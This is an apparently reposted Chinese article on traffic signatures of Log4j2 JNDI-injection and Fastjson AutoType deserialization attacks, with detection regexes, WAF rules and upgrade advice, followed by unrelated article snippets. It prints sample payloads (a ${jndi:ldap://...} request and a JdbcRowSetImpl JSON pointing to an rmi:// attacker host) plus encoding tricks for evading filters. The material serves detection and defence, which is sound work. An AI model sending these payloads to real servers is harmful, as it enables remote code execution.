Log4j2、Fastjson特征流量分析

文章目录

  • 一、Log4j2流量特征分析
    • 1. 漏洞原理简述
    • 2. 核心流量特征
      • (1)请求特征
      • (2)响应特征
      • (3)日志特征
    • 3.检测与防御建议
  • 二、fastjson流量特征分析
    • 1.漏洞原理简述
    • 2.核心流量特征
      • (1)请求特征
      • (2)响应特征
    • 3.检测与防御建议

一、Log4j2流量特征分析

攻击链:
Log4j2:恶意请求 → JNDI解析 → LDAP重定向 → 加载恶意类 → RCE

1. 漏洞原理简述

Log4j2漏洞(CVE-2021-44228)源于JNDI注入机制。当应用程序记录包含${jndi:ldap://attacker.com/Exploit}的恶意字符串时,Log4j2会解析该表达式并加载远程恶意类,导致**远程代码执行(RCE)。

2. 核心流量特征

(1)请求特征

  • 协议标识符
    请求中出现jndi:ldap://jndi:rmi://jndi:dns://等协议关键字,常出现在HTTP头(如User-AgentReferer)或URL参数中1,2,9。
    示例:
    GET /search?q=${jndi:ldap://malicious.site/Exploit} HTTP/1.1
    - **编码混淆**  
    攻击者使用URL编码(如`%6a%6e%64%69`代替`jndi`)或大小写转换(如`JnDi`)绕过基础检测。
    

(2)响应特征

  • 异常堆栈信息
    响应包中出现javax.naming.directory.InitialDirContext等JNDI相关类名,或JNDI lookup successful日志。
  • 外联行为
    成功利用后,服务器向攻击者控制的LDAP/RMI服务器发起连接,流量中可见非常规端口(如1389)的TCP请求。

(3)日志特征

  • 高频异常记录
    日志中频繁出现含JNDI字符串的异常条目(如${env:os.name}动态解析失败)。

3.检测与防御建议

检测手段防御措施
正则匹配:\$\{.jndi:(ldap\|rmi).}升级至Log4j2 2.17.0+并移除JndiLookup类
监控非常规外联(如LDAP非默认端口)设置log4j2.formatMsgNoLookups=True
分析异常堆栈中的JNDI类名网络隔离:限制服务器对外访问权限

二、fastjson流量特征分析

攻击链:
Fastjson:恶意JSON → AutoType加载危险类 → JNDI注入/本地代码执行

1.漏洞原理简述

Fastjson漏洞由反序列化AutoType功能引发。攻击者构造含@type字段的JSON数据,指向危险类(如com.sun.rowset.JdbcRowSetImpl),触发JNDI注入或本地恶意代码执行。

2.核心流量特征

(1)请求特征

  • JSON结构异常
    必含@type字段,值指向高危类(如BasicDataSourceJdbcRowSetImpl)。
    常见JSON结构不闭合(如缺少花括号)或含fastjson关键字。
    示例:
    {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://attacker.com/Exploit"}
    
  • 协议注入
    请求体中嵌入ldap://rmi://等协议地址,常伴随Base64编码。

(2)响应特征

  • 错误状态码
    响应状态码多为400 Bad Request或500 Internal Server Error,错误信息含fastjsonautoCommit等关键词。
  • 无回显攻击痕迹
    利用DNSLog平台时,响应包含dnslog.cn等域名;成功执行后可能返回"commit":true

3.检测与防御建议

检测手段防御措施
匹配JSON中的@type高危类名升级Fastjson至1.2.83+并启用SafeMode
监控DNSLog域名请求配置WAF拦截含${@type的请求
分析HTTP错误日志中的反序列化异常禁用AutoType功能

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.pswp.cn/pingmian/83469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java编程之建造者模式

建造者模式(Builder Pattern)是一种创建型设计模式,它将一个复杂对象的构建与表示分离,使得同样的构建过程可以创建不同的表示。这种模式允许你分步骤构建一个复杂对象,并且可以在构建过程中进行不同的配置。 模式的核…

Spring AI之RAG入门

目录 1. 什么是RAG 2. RAG典型应用场景 3. RAG核心流程 3.1. 检索阶段 3.2. 生成阶段 4. 使用Spring AI实现RAG 4.1. 创建项目 4.2. 配置application.yml 4.3. 安装ElasticSearch和Kibana 4.3.1. 安装并启动ElasticSearch 4.3.2. 验证ElasticSearch是否启动成功 …

mysql数据库实现分库分表,读写分离中间件sharding-sphere

一 概述 1.1 sharding-sphere 作用: 定位关系型数据库的中间件,合理在分布式环境下使用关系型数据库操作,目前有三个产品 1.sharding-jdbc,sharding-proxy 1.2 sharding-proxy实现读写分离的api版本 4.x版本 5.x版本 1.3 说明…

运维视角下的广告系统之理解广告索引级联

广告索引中为什么要级联 这里的“级联”一般指的是多层索引结构,也叫级联索引(Cascade Index 或 Multi-level Index)。 在广告系统的索引中,级联设计有重要作用,主要原因如下: 1. 多维特征筛选的需求 广…

2025年5月24日系统架构设计师考试题目回顾

当前仅仅是个人用于记录&#xff0c;还未做详细分析&#xff0c;待更新… 综合知识 设 x,y 满足约束条件&#xff1a;x-1>0, x-y<0, x-y-x<0, 则 y/x 的最大值是()。 A. 3 B. 2 C. 4 D. 1 申请软件著作权登记时应当向中国版本保护中心提交软件的鉴别材料&#xff…

3D-激光SLAM笔记

目录 定位方案 编译tbb ros2humble安装 命令 colcon commond not found 栅格地图生成&#xff1a; evo画轨迹曲线 安装gtsam4.0.2 安装ceres-solver1.14.0 定位方案 1 方案一&#xff1a;改动最多 fasterlio 建图&#xff0c;加闭环优化&#xff0c;参考fast-lio增加关…

贪心算法应用:分数背包问题详解

贪心算法与分数背包问题 贪心算法&#xff08;Greedy Algorithm&#xff09;是算法设计中一种重要的思想&#xff0c;它在许多经典问题中展现出独特的优势。本文将用2万字篇幅&#xff0c;深入剖析贪心算法在分数背包问题中的应用&#xff0c;从基础原理到Java实现细节&#x…

PyTorch——非线性激活(5)

非线性激活函数的作用是让神经网络能够理解更复杂的模式和规律。如果没有非线性激活函数&#xff0c;神经网络就只能进行简单的加法和乘法运算&#xff0c;没法处理复杂的问题。 非线性变化的目的就是给我们的网络当中引入一些非线性特征 Relu 激活函数 Relu处理图像 # 导入必…

iOS 电子书听书功能的实现

在 iOS 应用中实现电子书听书&#xff08;文本转语音&#xff09;功能&#xff0c;可以通过系统提供的 AVFoundation 框架实现。以下是详细实现步骤和代码示例&#xff1a; 核心步骤&#xff1a; 导入框架创建语音合成器配置语音参数实现播放控制处理后台播放添加进度跟踪 完整…

ES中must与filter的区别

在 Elasticsearch 的布尔查询&#xff08;bool query&#xff09;中&#xff0c;must 和 filter 是两个核心子句&#xff0c;它们的核心区别在于 是否影响相关性评分&#xff0c;这直接决定了它们在查询性能、使用场景和结果排序上的差异。以下是详细对比&#xff1a; 一、核心…

vscode实时预览编辑markdown

vscode实时预览编辑markdown 点击vsode界面&#xff0c;实现快捷键如下&#xff1a; 按下快捷键 CtrlShiftV&#xff08;Windows/Linux&#xff09;或 CommandShiftV&#xff08;Mac&#xff09;即可在侧边栏打开 Markdown 预览。 效果如下&#xff1a;

Android第十一次面试flutter篇

Flutter基础​ 在 Flutter 中&#xff0c;​三棵树&#xff08;Widget Tree、Element Tree、RenderObject Tree&#xff09;​​ 是框架的核心设计&#xff0c;它们协同工作以实现高效的 UI 渲染和更新机制。 ​1. Widget Tree&#xff08;Widget 树&#xff09;​​ ​是什么…

多线程编程中的数据竞争与内存可见性问题解析

引言 在多线程编程中&#xff0c;看似简单的代码往往隐藏着复杂的并发问题。今天我们来分析一个经典的生产者-消费者场景&#xff0c;看看在多核CPU环境下可能出现的各种"意外"情况。 问题代码分析 让我们先看看这段看似正常的C#代码&#xff1a; using System; u…

Linux 与 Windows:哪个操作系统适合你?

Linux vs Windows:系统选择的关键考量 在数字化转型浪潮中,操作系统作为底层基础设施的重要性日益凸显。Linux与Windows作为主流选择,其差异不仅体现在技术架构上,更深刻影响着开发效率、运维成本与安全性。本文将从​​7个核心维度​​展开对比分析,并提供典型应用场景建…

佰力博科技与您探讨低温介电温谱测试仪的应用领域

低温介电温谱测试应用领域有如下&#xff1a; 一、电子材料&#xff1a; 低温介电温谱测试仪广泛应用于电子材料的性能测试&#xff0c;如陶瓷材料、半导体材料、压电材料等。通过该设备&#xff0c;可以评估材料在高温或低温环境下的介电性能&#xff0c;为材料的优化和应用提…

Windows 下彻底删除 VsCode

彻底删除 VS Code (Visual Studio Code) 意味着不仅要卸载应用程序本身&#xff0c;还要删除所有相关的配置文件、用户数据、插件和缓存。这可以确保你有一个完全干净的状态&#xff0c;方便你重新安装或只是彻底移除它。 重要提示&#xff1a; 在执行以下操作之前&#xff0c…

STM32与GD32标准外设库深度对比

近年来,随着全球芯片短缺和市场价格波动,工程师们开始寻求对常用MCU的替代方案。在STM32因产能受限而频频涨价的背景下,GD32作为国产替代的重要选项,获得了越来越多的关注。尤其是GD32F103系列,由于其在硬件封装、功能特性乃至软件支持上的“高相似度”,成为STM32F103的热…

使用Redis的四个常见问题及其解决方案

Redis 缓存穿透 定义&#xff1a;redis查询一个不存在的数据&#xff0c;导致每次都查询数据库 解决方案&#xff1a; 如果查询的数据为空&#xff0c;在redis对应的key缓存空数据&#xff0c;并设置短TTL。 因为缓存穿透通常是因为被恶意用不存在的查询参数进行压测攻击&…

Java高级 | 【实验一】Spring Boot安装及测试 最新

隶属文章&#xff1a;Java高级 | &#xff08;二十二&#xff09;Java常用类库-CSDN博客 目录 一、SpringBoot的特点 二、Spring Boot安装及测试 &#xff08;一&#xff09;安装Intellij IDEA &#xff08;二&#xff09;安装MySQL &#xff08;三&#xff09;安装postma…

Oracle RMAN自动恢复测试脚本

说明 此恢复测试脚本&#xff0c;基于rman备份脚本文章使用的fullbak.sh做的备份。 数据库将被恢复到RESTORE_LO参数设置的位置。 在恢复完成后&#xff0c;执行一个测试sql,确认数据库恢复完成&#xff0c;数据库备份是好的。恢复测试数据库的参数&#xff0c;比如SGA大小都…